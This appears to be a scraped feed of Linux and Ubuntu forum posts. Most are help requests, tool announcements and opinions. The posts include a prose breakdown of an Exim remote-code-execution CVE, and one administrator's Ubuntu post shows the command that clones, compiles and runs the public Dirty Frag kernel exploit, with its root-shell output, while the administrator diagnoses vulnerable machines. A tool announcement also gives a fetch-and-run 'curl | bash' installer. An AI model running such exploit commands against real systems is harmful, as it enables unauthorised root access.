it supports different commands per boundary, corners and edges, toml config with xdg fallback, and a debug mode that shows the active boundaries. it uses direct wayland client bindings rather than a larger ui toolkit, and the hot zones are simple overlay surfaces on top of the compositor, so the process stays quiet until a boundary is hit. idk if this is the least resource intensive way to do it

the idea is loosely inspired by the simplicity of macos hot corners, but with configurable boundaries and different behaviors per boundary

• repo: https://github.com/ralphptorres/waybound
• aur: https://aur.archlinux.org/packages/waybound

feedback is very much welcome!

The picture shown is chrome but the same is exactly happening on Brave origin which is chromuin based. You just need to disable "Use graphics acceleration when available" on the settings. Even at 720p the problem still persists. Youtube is not affected but other streaming platform is. Gnome's default video player showtime also has this problem so use VLC instead. Maybe this is just an isolated case for me. I just wanna share.

I have recently installed Ubuntu on my PC, and when I press Super+Space it changes the keyboard layout to the most recently used one, and not to the next in the order set up in the settings. It's a problem because I have 3 layouts, and when I press Super+Space it just keeps changing between 2 of them. Of course, you can just press Super+Shift+Space to change it to the 3 one, but it's still kind of annoying. Also on KDE Plasma there is no such issue, so the problem is most likely with GNOME. Is there any way to fix this? My version is 26.04 LTS. Thanks

Hello! I have an old macbook 2010 pro and installed ubuntu in it as someone said it will work well and it did work a lot better. But the desktop crashes constantly and fan is too loud. I did get this serviced but don't know why its crashing. I liked it a lot the time i used it.

I've recently installed ubuntu on my machine and have had a few problems, with this and the audio hiccups being the main ones I can't solve. What should I do? Is it the GPU that locks the proportions?

Posting this as a discussion starter because the technical shape of this bug is worth talking through, not just the patch advisory.

**The bug (CVE-2026-45185 / Dead.Letter):**

Exim uses indirect function pointers to drive its SMTP I/O state machine. After STARTTLS, those pointers get replaced with GnuTLS-backed equivalents, and a 4096-byte `xfer_buffer` is allocated for encrypted I/O. During a BDAT transfer, if the client sends a TLS `close_notify` alert before the transfer is complete, Exim frees `xfer_buffer` — but the nested BDAT receive wrapper remains active. Send one cleartext byte afterward, and Exim's stale `tls_ungetc` calls `ungetc()` into the freed region.

That one `\n` byte lands on glibc's largebin `fd_nextsize` metadata. From there, XBOW demonstrated a chain to full RCE — and noted that an LLM assisted with parts of the exploit development during their 11-day coordinated disclosure window.

**What I think is worth discussing:**

1. **This is the second UAF in Exim's BDAT handler** — CVE-2017-16943 was structurally almost identical, 9 years ago. At what point does a recurring bug class in the same code path warrant a memory-safe rewrite of that component?
2. **The GnuTLS vs OpenSSL split** — Debian/Ubuntu default to GnuTLS-backed Exim; RHEL/SUSE ship OpenSSL-linked builds. The blast radius of this CVE is *entirely* determined by a compile-time flag most sysadmins never thought about. How many organizations actually know which TLS backend their Exim binary uses?
3. **AI-assisted exploit development during disclosure windows** — XBOW mentioned this somewhat casually. Are we going to start seeing this become routine? What does a 48-hour time-to-weaponized-exploit do to the coordinated disclosure model?

---

I wrote up a full technical breakdown (the heap corruption mechanics, exploit chain steps, affected distros, log-based detection) here if you want more background: https://www.techgines.com/post/dead-letter-exim-cve-2026-45185-a-critical-unauthenticated-rce-is-hiding-inside-your-gnutls-mail

I previously covered the PAN-OS CVE-2026-0300 buffer overflow here which shares the same "always-exposed infrastructure" operational problem: https://www.techgines.com/post/cve-2026-0300-pan-os-buffer-overflow-rce-user-id-authentication-portal

Curious what the community thinks — especially anyone who's done forensics on a compromised Exim host before. What does post-exploitation look like in practice on a shared hosting node?

So i went for Mint, thought i just need something simple.
the old operative system was windows 10. and oh boi how slow everything was.
i open MS-word and it took 30 second for it to boot.
for libraoffice it takes less then 2 secs.

So this old computer were more a test just to learn how to install linux safety.
It was super easy and straight forward.

Now i do have plans to install this on my workstation computer.

https://preview.redd.it/3cfmww5ss21h1.jpg?width=4096&format=pjpg&auto=webp&s=29951dfa69553f56a15ea951564dd9e129e4e6d8

Hi everyone,

This is my first time installing Linux, and I decided to start with Ubuntu.

Everything is working well so far, but I would like some advice from experienced Ubuntu users. What are the first things you recommend checking or configuring after a fresh installation?

For example:

- useful system settings

- recommended software sources

- backup tips

- things to avoid as a beginner

- general stability or security recommendations

Here’s my current setup. I’m excited to learn more and improve it over time.

Thanks!

questing (25.10) to resolute (26.04) updates are enabled, although mirror propagation must happen

matrix, timestamp is GMT+10

"Upgrades from Questing to Resolute have just been enabled. It's now just a matter of cache and mirror propagation before people start to see that."

https://preview.redd.it/a8i8h1w0p21h1.png?width=954&format=png&auto=webp&s=2959798884d458c1e0ee6d34eaf50e6f26686e7c

As the title says, whenever I boot up my laptop (it’s an HP Omen 16 gaming laptop) I always see this screen when booting up the most recent version (6.17.0-23 generic). I’ve managed to fix it by booting up the last version (6.17.0-22 generic) but am worried that this may cause issues in the future. I am very new to linux (switched over just a couple months ago after getting fed up with windows) and any and all help would be greatly appreciated.

Hi again, I don't want to waste your time, but I've just finished writing the Linux 0.11 interface code and yes, I still haven't been able to share it. I sincerely apologize to everyone who's been waiting. I plan to share it as soon as possible. I couldn't share it due to work issues. Thank you for your understanding.

Does Ubuntu’s support normally suck this bad?

I work at a university and signed up for the support, they sent me an email inviting me to landscape and it’s been 3 days. Sent an email almost an hour after they invited me and I had issues, and zero communication. Emailed the sales rep and she said she’d forward to support and it’s been over 24 hours even since she forwarded it.

I have almost no licenses and it’s heavily discounted because it’s academic, but still. Wtf. 3 days and nothing?

​

TPM chip has security certificates. These are used for secureboot. Windows says you must update them before june 2026.

Personally I have a brandnew laptop running Ubuntu and are 200% not planning to go back to microblob.

That means, for as far as I know, this new laptop will never ever be able to install winblows again.

just a reminder to people who use linux with dual boot. If you need windows still, update TPM!

is it good?

Edit: This is referring to Colorado's Age Attestation bill. Should have clarified

From the final passed document:

6-30-105. Applicability - limitations.

(3) THIS ARTICLE 30 DOES NOT APPLY TO:

...

(e) AN OPERATING SYSTEM PROVIDER OR DEVELOPER THAT DISTRIBUTES AN OPERATING SYSTEM OR APPLICATION UNDER LICENSE TERMS THAT PERMIT A RECIPIENT TO COPY, REDISTRIBUTE, AND MODIFY THE SOFTWARE WITHOUT ANY PLATFORM-IMPOSED TECHNICAL OR CONTRACTUAL RESTRICTIONS IMPOSED BY THE PROVIDER OR DEVELOPER ON INSTALLING ALL MODIFIED VERSIONS.

I upgraded from 25.10 yesterday using "sudo do-release-upgrade -d" and I haven't had any issues, apart from the fact that the System Monitor extension doesn't show up in the top bar. Is anyone else having this issue?

I'm referring to the extension that comes pre-installed (but not enabled) by default. I wonder if its just on my end or if its a known issue, but searching this sub didn't return anything.

I've been considering switching back to Windows for some time, partly to see how it's gotten first-hand, partly because Deltarune Chapter 5 is coming out this year and I wanna make sure I don't bump into compatibility issues on my blind playthrough.

So, out of curiosity, I've begun checking out how to download my preferred apps on Windows. Surely a Windows build will be available on Github, or at least there will be build instructions, right?

Well it turns out I couldn't be more wrong. Most of those awesome apps you find on Flathub are Linux-only. Tambourine Music Player? That thing with the most boombastic UI known to man? Linux-only. Found another cool music player, Amberol. Also Linux-only. Foliate? The cool-ass epub reader that even lets you download stuff from online catalogs? Linux-only. Lutris? "Of course it's Linux-only", I hear you say. "Its whole purpose is running Windows games on Linux". And you're right, but it's also a great way to gather all your emulated retrogames in one place. The list goes on and on.

Everyone says Linux's main problem is the lack of native apps compared to Windows. Today I found out that Windows also lacks apps compared to Linux, but since it's not big professional software like Photoshop, no one talks about it.

I was trying to install Ubuntu but was having some issue now the Ubuntu is not installing and my previous window is not showing.I don't know what to do.

I found this as a lightweight alternative to OpenCost. I didn't want to deploy anything into the cluster, just get quick insights into where the money is going. It runs locally via kubectl, pulls real pricing from AWS/Azure/GCP, and breaks down costs by namespace and pod.

Hello,

I have a strange issue with sound that at first appeared on my Ubuntu 24.04 and then, when I did a clean reinstall, on 26.04.

The issue

After initial login, the sound output device is set to any of the Analog or Digital HyperX Cloud Stinger Core. But the sound from my earphones is very weak, even at 100% volume. But when I switch it between Digital and Analog (see screen 2), the sound is at real full volume.

I use my headphones as speakers (I have a holder on my desktop and usually I'm too lazy to put them on, so I just put the vol to 100% and listen to videos or something).

I have a dual boot with Win 11 and there's no such problem.

What may be the problem here? Why does it suddenly "wakens up" after switching between digital & analog of the same output device?

https://github.com/ubuntu/Tiling-Assistant/issues/451

When I boot up, there is no login wallpaper. It's just this solid grey'ish color which I don't like. I remember setting the wallpaper using some gnome extension, but it shows up only after I login and lock the screen later on.

I'm on Ubuntu 24. Please let me know if there is away to set a custom wallpaper in login screen. Thank you and have a great day:)

I just booted the USB with Ubuntu but when I try to boot it up I can't find the USB name here all I got is this and it won't work.

Another Linux vulnerability in the same category as Dirty Frag has been found! Another eight of these more I guess? In any case the fatigue is coming up for me. Things are getting crazy!

"It abuses a logic bug in the Linux XFRM ESP-in-TCP subsystem to achieve arbitrary byte writes into the kernel page cache of read-only files, without requiring any race condition."

Hi all. I’m a High School Comp Sci and Cyber teacher and we’re playing with the idea of making our lab linux machines instead of windows. I was originally thinking mint bc that was my first distro but think I’ll end up using bazzite as an easy out of the box immutable system for better security and can be used for fun game days. It’s my daily driver at home but am open to other ideas!

My question is this: Are there any good management systems like active directory for linux? Ideally I can push updates or installs for all machines at once which I’ve heard PXE boot is good for, but I’m not sure if it’s possible to have a system where the student’s linux login works on any of the machines and pulls their files? We have the money to host that info on a server and they mostly use google accounts anyways so it wouldn’t take up much storage. Thanks for any help

When switching to Linux from Mac, I missed having a nice easy to use speech-to-text tool.

The apps I found either didn’t work very well, didn’t support many providers, or only supported local models, which doesn’t work well for me since I speak Swedish and those local models are mostly English. I also like the idea of it being terminal-first and scriptable. I couldn’t really find a good option, so I did the obvious thing and set out to build the tool myself. 😁

AI disclaimer: Yes, AI agents and humans (me) collaborated in the creation of this tool. Yes, AI generated code has been reviewed by human eyes. Yes, I do know how to code Rust. No AI was harmed during the creation.

OSTT:

• open source and MIT licensed
• works well on Linux desktops, with setup docs for Hyprland/Omarchy, GNOME, KDE, and macOS too
• bring your own API key instead of being locked into one transcription provider
• output to clipboard, file, or stdout
• scriptable enough to fit into existing shell/CLI workflows

The recent release adds a few things that make the Linux workflow much better:

• ostt launch opens a small terminal popup that can be bound to a global hotkey
• pressing the hotkey once starts recording, pressing it again stops and transcribes
• ostt process / -p can run the transcription through an AI prompt or a shell command
• .deb, .rpm, AUR, Homebrew, and shell installer paths are documented

The provider-agnostic part is important I think. OSTT currently supports OpenAI, Deepgram, Groq, DeepInfra, AssemblyAI, Berget, and ElevenLabs. The point is not that one provider is the right one, but that you should be able to choose based on quality, latency, price, language support, or data location. (I also plan to add support for local models)

The scriptable part is also a big part of why I wanted this to exist on Linux. OSTT can be used as a small transcription engine inside other workflows. You can pipe output to another CLI, write transcriptions to a file, copy them to the clipboard, use it from a script, process meeting recordings, or connect it to AI agent workflows like OpenClaw, Hermes, OpenCode, Claude Code, Codex CLI, etc.

This is not trying to be some polished GUI dictation app startup. It doesnt do streaming transcription or screen-aware text insertion. The niche is more: voice-to-text that behaves like a CLI tool.

Install:

curl -fsSL https://ostt.ai/install | bash 

Docs: https://ostt.ai

GitHub: https://github.com/kristoferlund/ostt

Happy to hear feedback, especially from folks using different Linux desktops/window managers. I have not been able to test installation on more than a few Linux flavours so far.

I have been using windows since my whole life. And I am very used to it and have customized it in every way possible.

Now I was thinking of trying linux as I want to get into backend engineering, DevOps, and Cloud etc.

I have installed Ubuntu on my device.

What should I do, like what apps should I use, should I make any changes to it. I am just whole lot confused in what should I try to do in Linux.

I asked GPT about it, it said only use terminal, break things etc.

I am also very interested in customization, not for the aesthetics but I want to customize my system in such a way that it should work according to me or help me to make my tasks easier and should be FUNCTIONAL.

Please advice me on how I use it, it would really help me.

I have seen a few others notice or mention graphical instability. I think this came with the onset of gnome 50, when I upgraded from 25.10. I notice that my RX 9060 GPU, when running a benchmarks like furmark, will occasionally stop running temporarily so I have a brief graphical screen freeze (audio would still play if it is happening). Any idea why this could happen with 26.10 or gnome 50? I don't experience the stuttering on pop_os, or didn't before 26.10.

Also, I was surprised my 1080p furmark bench went from about 12.4k on ubuntu to over 14k on pop_os. I wonder if the COSMIC DE is more efficient than gnome 50?

Any thoughts you have would be appreciated.

From 7.5 until earlier today, the official downloads on the GitHub download page for Cemu were infected by a Malware. The Windows version and Flatpak were not affected.

https://github.com/cemu-project/Cemu/issues/1911

the title

im a linux newb - im trying the flavours to see what i like: just trying out zsh and the autocomplete is kinda handy! save me typing as much:

to the more experienced with either bash or zsh - share your opinions, id love to learn.

what are benefits of either?

as someone who uses a pc to browse, game and thats about it does it even matter?

this is not asking for support as i am able to use - just more opinions and pros and cons!

i use a 15 yr old hp pavillion running arch

I installed Ubuntu server on my computer some time ago, but I somehow lost my password. I can still get in via ssh (I have a key stored on another device), but I don't have sudo permissions. I tried to get into the GRUB menu, but the keyboard does not initialize quickly enough for me to be able to press the key (it's an MSI motherboard and I am sure the key to get into the bios is Del. I am using a wired keyboard, and tried different USB ports). I also created a bootable USB drive, but the startup process goes straight to the installed OS. What are my options? There's basically nothing on the computer, so reinstalling the US is not a problem, but then I somehow need to be able to do that.

[EDIT] solved by disconnecting the harddrive. Thanks a lot u/EggVivid413 (and everyone else who took the effort to answer)!! You saved the day

Auf den ersten Bildern: Kubuntu auf einen Panasonic FZ-M1. Dualboot Kubuntu, alternativ Windows 8.1 (ohne Ballast). Die anderen Bilder Getac S410 G1 Spezial Edition (spezielles Mainboard/BIOS). Dualboot Ubuntu/Windows 11 (ohne Ballast).

So when ever I download a file and get that the file is complete and try pressing the button that redirects you to where you download the file my computer suddenly freezers and then the screen blackout, and I need to use the power button to power off and turn it back on and then when I open the download folder manual everything works and the button for the browser itself also works, I don't know why but it started happening today.

OS: Ubuntu 26

Browser: brave browser

I don't know if this problem is also related but my motherboard diagnostic light for the CPU is on for weeks but everything is functional:

CPU: Ryzen 7 7700 (none x)

Motherboard: arous elite b850

I love using CLI tools like yazi (file mgr), rclone (cloud storage rsync), translate-shell (translator), lsd (better ls), nusgmon (data usage, i made that though), taskwarrior etc. it feels so nice and cool how awesome is CLI that can show almost anything just in texts. what's your favorite linux tools, wanna share?

I just installed Linux on my pc for the first time today with the Linux mint xfce distro and really like the flow so far!

Another hobby of mine is retro emulation on the anbernic devices. The wiki says they built muos ( a very popular custom os) from the ground up with build boot as a lightweight aarch64 Linux system. So as it stands I have no idea what any of that is, is there a video series or some sort of wiki I can use to make sense and start to build my own from scratch?

I chose the worst moment to update my OS with it's Kernel

https://status.canonical.com/#/

Now I lost my NVIDIA Driver, from what I understand it get's reinstalled when updating kernel and now it can't because ppa.launchpadcontent.net is down...

Hello all,

What I am attempting to do is restart a RHEL 8 Server that does not have root access. I had implemented a security guideline that booted all my users out sudoers conf file. For that reason, I am unable to sudo up to initiate the reboot. I was looking at editing the polkit file to set a rule to allow the reboot from another user. That file is owned by root.

The error that is appearing when attempting execute from a non-root user is: failed to set wall message, ignoring interactive authentication required. failed to reboot systemd via logind failed to open initctl fifo permission denied failed to talk to init daemon.

Hi everyone,

I’m new to Ubuntu and I’m also starting my journey into web development.

I want to use Firefox as my primary browser for coding, but I’d like to know your opinion first. How do the Firefox DevTools compare to Chrome's for someone learning web dev?

Is it a good choice for a daily driver in 2026? Thanks!

It doesn't really matter what. Could be the OS you're using right now, could be some application. If we all give a small donation to FreeCAD for example, they might turn into something like Blender today.

It doesn't have to be a lot too, but if you have some spare money, just do it!
It might feel useless but if you won't notice 10 dollars being gone from your bank account, just give it to them. you'll make a real difference

Moving beyond raw FFT with Mel-scaling and spring-damper dynamics, well...and more.

Zero configs by default.

Usage:

• 1 – Microphone input
• 2 – System audio (loopback / monitor)
• 3 – Microphone + system mix
• q – Quit

GitHub: https://github.com/rccyx/lookas

If Firefox is any indication, the new AI discovers two years' worth of vulnerabilities in a short period of time. Firefox seems to be an early adopter of this technology, but we should see a huge flux of newly discovered vulnerabilities across various packages.

It seems like this might overwhelm the distro security teams that backport the fixes to old software versions, like what Debian is doing. They'd have to do two years' worth of work very quickly, or they risk leaving old packages in their distributions exposed.

Studied for it and took test same day to get transfer credit for my WGU IT Degree. LPI Essentials. I heard this cert is useless outside of my credit transferring, I want to be a data center tech as an entry level once I get the degree. 🫩 these are the results atleast

I finally pulled the trigger and made Ubuntu my sole OS. Got it updated to 24.04.4

But I've been having trouble getting my google home mini to be recognized as the output device. So I tried downloading Pipewire only to get the message shown below. If it helps, my monitor is showing up as the output device even though it doesn't have built in speakers.

https://preview.redd.it/uzncld3air0h1.png?width=480&format=png&auto=webp&s=0e13d147ef16799e8263042bed349a12a020e507

I have 0 experience with Linux; my friend installed this version because in their words, 'It's the easiest to use out of the box.' I just wanna play my games without having to plug in my earphones. ;_;

I was thinking about my beginning with Linux in 2008 and how hard it was to get good community support back then. There was always fear of asking stupid questions because the answers were very harsh. We all know that (RTFM, you should not use Linux, etc). With more experience over the years I wanted to help new users and I had the plan to be nice no matter what the question was. And I failed. I was thinking "what a stupid question was that"? I tried to answer nicely but then follow up questions arrived that killed my patience. I had the option to ignore the question and move on. But I did myself what I hated in my first days with Linux.. How many users were trying to get into Linux but gave up because they had nobody who can support them?

Now we are often accused of gate keeping. Linux is for the elite. Using Linux (especially Arch, Gentoo, Slack, Nix) means that we are the top 1% of users who can do everything. Stuff that those stupid windows and mac users cannot do with their closed proprietary systems. We use the terminal for everything. F*ck the GUI. Of course, not everyone thinks that way but surely many of has had similar thoughts at least once

I then went into Linux System Administration. I started with 2nd Level Support working on tickets. This involves working with users. Now those users were not your typical windows users who dont know how to create an ISO image or how to copy/paste commands into a Terminal. Those users were using servers in positions like application admins, project leads, or network admins running services on Linux hosts. Still, those were not Linux pros. They knew how to SSH into those boxes and do some things but most were pretty limited. The job required me to be nice to them of course. RTFM was not an option. But I could nicely advise them to read the PDF that describes this process very well. Or "I create a howto for you, no problem"

Most users are very thankful. This job changed me in how I talked to those with less knowledge. For me the most important thing is if the person is really interested to learn. Stupid questions are part of it. Now we have LLMs, this issue might be less relevant but we still have many posts on Reddit and other platforms from new users who wnat to start using Linux. Getting knowledge from people is different. It comes with experience. And if we have experience, and we have time to write on Reddit, we should at least be nice to those who ask. Otherwise just dont answer. And yes, those who ask questions can also be rude. Thats how the world is. We have many nice people and we have many not so nice people.. I prefer to be on the nice people side. Not just for karma, but having the privilege of knowledge and being nice to other people is a very good combination. Other will thank you for that. And with how Microsoft acts these days, it would be nice to snatch more users off them

After installing software updates, file thumbnails don't work anymore. Is there a fix for this issue?

Hey guys, there is an ongoing community effort to gauge how much interest there is in having an official, native, Rhino3D port to the Linux platform. Good commercial CAD is one of the last weak spots in Linux that keeps a lot of people locked and hostage in Windows or Mac.

PETITION --> https://www.openpetition.org/us/petition/online/rhino-3d-natively-for-linux

The company has already made some half steps such as with
1. OpenNurbs, which is basically their 3DM file standard:
https://github.com/mcneel/opennurbs
https://www.rhino3d.com/features/developer/opennurbs/

1. Rhino Compute, which is an open-source, stateless REST API server that allows developers to perform Rhino geometry calculations. Currently rented by the core hour.
   https://developer.rhino3d.com/guides/compute/
   https://github.com/mcneel/compute.rhino3d

About Rhino3D
https://en.wikipedia.org/wiki/Rhinoceros_3D
https://www.rhino3d.com/

Hey everyone,

I recently built my own bootable USB flashing tool called RGS ISO Flasher for Steam Deck and Linux.

I originally made it because I wanted a simpler way to create Windows and Linux bootable USBs directly on SteamOS without dealing with complicated terminal commands.

Features:
- GUI-based
- Steam Deck compatible
- Windows ISO support
- Linux ISO support
- Automatic install.wim splitting for Windows installers
- Portable AppImage
- Auto sleep prevention while flashing

I also made a tutorial video showing how to use it on Steam Deck.

GitHub:
https://github.com/RahnRazamai/rgs-iso-flasher-appimage

Tutorial:
https://youtu.be/oqTH2hy08Tg

Would love feedback from the Linux/Steam Deck community 🙂

Is anyone else on Kubuntu 25.10 still waiting for the 26.04 upgrade to become available through do-release-upgrade?

The ISO has been out for almost 3 weeks now, but my system still says no new release is available. Fully updated system, official repositories only.

Hey guys,

Every time I try to install Ubuntu 25.10 or Fedora KDE 43 via LiveOS on my PC, my monitors always shut off even though the comouter/PC itself is still on.

I've tried disabling "FastBoot" and "CSM" on my ASUS BIOS screen, I've tried adding "nomodeset" in boot entry/grub after the line starting with "linux". But nothing seems to be working.

Is anyone else having this issue? And if so, is there a way to fix it?

EDIT: Forgot to include my hardware specs. It's as follows:

TUF Gaming B550-PLUS (Wi-Fi), BIOS ver. 3636

AMD Ryzen 5 5600X 6-Core Processor

Memory 16384MB (DDR4 2400MHz)

From what I gather, these attacks corrupt the page-cache in memory and leave almost zero traces on the actual disk

I also saw a few people mentioning that SELinux is currently one of the only reliable ways to catch or stop these attacks in the wild. But honestly, I don't fully get why or how it does that

Is SELinux just blocking the specific socket stuff before the exploit even triggers?

Hi everyone,

​I have a desktop system with an AMD Ryzen 5 5600GT processor and an Asus B450 motherboard. I am using a Realtek RTL8192EE Wi-Fi card.

​On Ubuntu 24.04 LTS, everything was working perfectly out of the box. However, I recently tried to upgrade to (or install) Ubuntu 26.04 LTS, but the Wi-Fi is not working. It is not detecting any networks at all.

​I have already tried the following:

​Connected to the internet using an external Wi-Fi adapter.

​Ran all system updates (sudo apt update && sudo apt upgrade).

​Despite the updates, the internal RTL8192EE card still doesn't find any networks.

​My questions are:

​Should I stick with 24.04 LTS for now and wait for a future kernel or driver update for 26.04?

​Is this a known regression in the newer kernel versions used in 26.04?

​Which version would you recommend for stable daily use with this hardware?

​Thanks in advance for your help!

I did the translation via Gemini, greetings to everyone from Türkiye.

Hi, I'm looking for a good course about Ubuntu 26.04 LTS. Is there any avaiable? What would you suggest?

So I've been a Linux user since April 1, 2025. At first I started with mint xfce because it was light, simple and beginner-friendly (despite not having a low-spec machine, I still like lightweight OS). But xfce felt too unpolished and this might sound dumb but I disliked the lack of desktop widgets to see my RAM usage and disk usage etc. So I went to mint cinnamon, which I actually loved, worked perfectly for most of the time. Then I went to raw debian since I wanted even more lightweight, but eventually got tired of that not being beginner-friendly and running into REALLY technical issues. Then I went back to mint cinnamon and loved it again. But the weakness of that for me was some games having strange issues like freezing, which was annoying and I couldn't find a fix.

After this, I decided to go with something more "works out of the box", specifically with gaming. I was tired of tinkering and I just wanted stuff to work, especially games. So I went to Bazzite, and I enjoyed it. But there was still an issue, then the downsides of Linux became even more apparent to me, really struggling with some stuff that would've been a single click on Windows. I know it's unfair to compare Linux with Windows for this since Linux is not intended to be a 1:1 replacement for Windows. However, I was getting tired of this after 1 year and 1 month of Linux usage, yet I tolerated it because Linux was at least not plagued by poor business decisions.

Then I had a modding tool for a game completely refusing to work on Linux, even with proton. Because of a file directory incompatibility issue. I also wondered "What if I went back to Windows? I mean I hate Microsoft but at least everything would be familiar, simple." Well, then, just to use this modding tool, I decided to run a virtual machine of Windows 10.

Immediately, it struck to me exactly why I went to Linux in the first place. And somehow, Windows had gotten even worse... Just as I began installing it in the virtual machine, Cortana has an unskippable cutscene! It was SO annoying, and I was feeling really mad at Microslop. Oh then the installation drags on even longer and longer, forces me to register with an email! And I'm like "Cmon, I really don't care, just get to the f-ing point. I just wanna use my modding tool." It dragged on and on, and when I got to the desktop, all these intrusive apps, bloatware... Yeah, it seems I had forgotten the pain of Windows. It made me love Linux more, even though Linux sometimes annoys me because of incompatibility issues or strange bugs I can't solve for the life of me... At the end of the day, it's far better than dealing with a corporate monopoly.

So then I had a complete picture on my head, "Linux is non-intrusive, not ran by an evil corp and has more freedom... But it's less familiar and sometimes harder to do things out of box. Windows is convenient, simple, familiar, but it's ran by an evil corp and full of forced AI features, forced logging in, spyware..."

Yeah, Windows has it's upsides. But for me, I don't think the upsides are worth it. I will stay on Linux, If Windows 7 still had new versions of hardware and apps run on it though, I would use that instead of Linux. Does this mean Microsoft lost a customer? No, because Microsoft's actual customers are their shareholders.

I use firefox but, my pc get abnormally hot with just around 4 tabs open, so I wanna try out other lightweight browsers. Give me you recommendations.

Hello,

I have something weird on my Ubuntu 24.04.4 machines (about 250). The three modules in question (esp4, esp6 and rxrpc) are not loaded on our machines but they are vulnerable anyway.

Fun fact: if I set the mitigation by blacklisting these modules, the machines are not vulnerable anymore.

So, the modules are not loaded but the machine is vulnerable BUT, if I blacklist these not loaded modules, the mitigation works and the machine is no longer vulnerable.

Any ideas about this weird behaviour?

Ubuntu 24.04.4 up to date

Kernel 6.17.0-23

Test:

ben@ws-01:~[0]🢖 lsmod | grep esp ben@ws-01:~[1]🢖 lsmod | grep rxrpc ben@ws-01:~[1]🢖 

=> we can see the modules are not loaded!

Exploit:

ben@ws-01:~[1]🢖 git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp Clonage dans 'dirtyfrag'... remote: Enumerating objects: 64, done. remote: Counting objects: 100% (37/37), done. remote: Compressing objects: 100% (23/23), done. remote: Total 64 (delta 18), reused 20 (delta 14), pack-reused 27 (from 1) Réception d'objets: 100% (64/64), 5.83 Mio | 24.77 Mio/s, fait. Résolution des deltas: 100% (23/23), fait. pam_mount password: root@ws-01:~# id uid=0(root) gid=0(root) groupes=0(root) root@ws-01:~# 

Works! (don't care about the line pam-mount password:, it was displayed without intervention)

Of course, as explained above, the mitigation allows to protect the machine.

Thanks for your replies.

Hi all,

I’m a volunteer on the team behind LinuxJourney.org. As many of you know, the original Linux Journey was taken over by LabEx and has become quite outdated. To honor the work of Cindy Quach, our team decided to build a better Linux Journey, a place not only for tutorials, but also for useful tools that help Windows users transition smoothly to Linux.

Linux is built by the community, and we believe this project should be too. We’d love feedback, ideas, and criticism from the Linux community so we can improve it together.

Here are some of the things we’re currently working on:

All tutorials are already online, but we have ideas to improve them further:

• Update content to include topics like Flatpak, Wayland, and systemd
• Add short summaries (TL;DRs) for people who want to learn quickly
• Include practice questions after lessons

One thing we noticed on social media is that people constantly ask for Linux alternatives to Windows applications. Because of that, we created a page listing popular Windows apps and their Linux equivalents.

The list is still incomplete, but before expanding it further we’d like to know:

• Would this setup actually be useful to you?
• What apps do you think absolutely need to be included?

We also created a small quiz to help new users find a suitable distro.

Right now we’re unsure whether:

• The quiz should stay short and simple
• We should add more detailed questions
• Or create two versions: a quick beginner quiz and a more advanced one

What would you prefer?

One team member suggested a command translator that converts Windows commands into Linux equivalents. We thought it was a fun idea, but so far it’s one of the least visited pages.

Do you think this is actually useful, or not really?

Another idea we have is to add practice exams based on the tutorials, so users can test their Linux knowledge and revisit topics they struggle with.

If you have ideas, suggestions, complaints, bug reports, or things you feel are missing, please let us know. We’d love to make this a genuinely useful starting point for new Linux users.

Thanks!

I've just released O-tiling v2.8.0, a lightweight, keyboard-driven auto-tiling extension for GNOME Shell. It started as a fork of System76's pop-shell but has been heavily refactored to remove all System76-specific dependencies ,,, so it runs natively on Fedora, Arch, Ubuntu, or any GNOME distro. On top of the original pop-shell core, I've added a bunch of new features that aren't in upstream.

Compatibility: Tested on GNOME 50 only. Other versions may work but are not officially supported.

GitHub Release link: https://github.com/oliwebd/o-tiling/releases/tag/v2.8.0

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My minimal desktop on Pi 500.

I want to put a name to age verification as an attack vector against self-hosters and Linux users. It is an on-going reality, which needs clarification in how it relates to not only operating systems, but open source, self-hosting, solo operators, developers, admins, copyleft and foss volunteers.

It’s been a long time since we had a major release. Release v1.6.0 was released in September 2019. Real life has been getting the the way but I’m happy to eventually circle back to the project. We have a much bigger release this time round. Lots to talk about. I’ll start with the big items and work through it.

I've tried to upgrade from 24.04 to 26.04 but the installer failed because I don't have enough space in /boot. The boot partition is using the default size of 704 MB from back in the day and the initramfs is compressed. I can't change the size of this partition because the system is fully encrypted and a new install is not on the table for various reasons.

Even if I remove everything except the running kernel then I'd still be 35 MB short. The installer wants 493MB of free space. If I look at this number then it seems like the setup wants to install two new kernel versions along with the existing two that are usually there. And that sounds absolutely silly to me. Or is 493 MB the size of a single kernel with an uncompressed initramfs? That would be even worse,

Does anybody know why the installer needs this much space? I can remove the previous kernel as the system runs fine and this would make plenty of room for a single new kernel from 26.04 with compressed initramfs. I don't think deleting the currently running kernel from /boot while upgrading is a good idea (if it is possible at all) but that is what I'd have to do to make room for 493MB.

The next time I install a Ubuntu system I will create a bigger boot partition. That said, reserving gigabytes of disk space just for the kernel images and a few compressed binaries still sounds completely wrong to me even if modern disks have plenty of space.

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I'd like to play around with Ubuntu LXD. Put Ubuntu 26.04 on a spare Raspberry Pi, installed LDX (snap install lxd, lxd init). Followed the in browser instructions, downloaded a cert, added to Keychain, ran the next command and.... nothing. Close and reopen, reboot the Mac, reboot the Pi, no difference. Rebooted the next day and tried again with a new cert and it worked right away. Sweet. Came back two days later ready to try some things out and back to cert failure.

For some info I’m a 27 year old male and I took a linux admin bootcamp after being in desktop support roles for my whole career. I recently received 3 different offers for linux admin positions that I’m deciding on and need advice. Please let me know what would benefit me the most in terms of learning, pay, and potential growth.

1. Dod position where I must obtain a secret clearance, relocation from Maryland to Cincinnati required. Fully on site and pay is 92k. The environment seems like there will be many others that I will be working with. They are only offering 2k relocation assistance which is nothing I would have to take the rest out of my pocket. I heard secret clearance is very useful to have.

2. Fully Remote position no clearance or move required. Pay is 100k even no bonus. However in this role I’d only be working with 2 other linux admins. For my first role where I want to make sure I learn enough to be successful would this be enough support? Also can you be as successful at a remote role that I could be at a on site one?

3. Fully on site position in Maryland so I wouldn’t have to move. Pay Would be 100k to 120k. Public trust required but I already have one. Focus seems to be on linux environments with additional windows support as well. Security focused patching of monitored systems. Tier 2+ service support, interfacing with Tier 1 and 3+.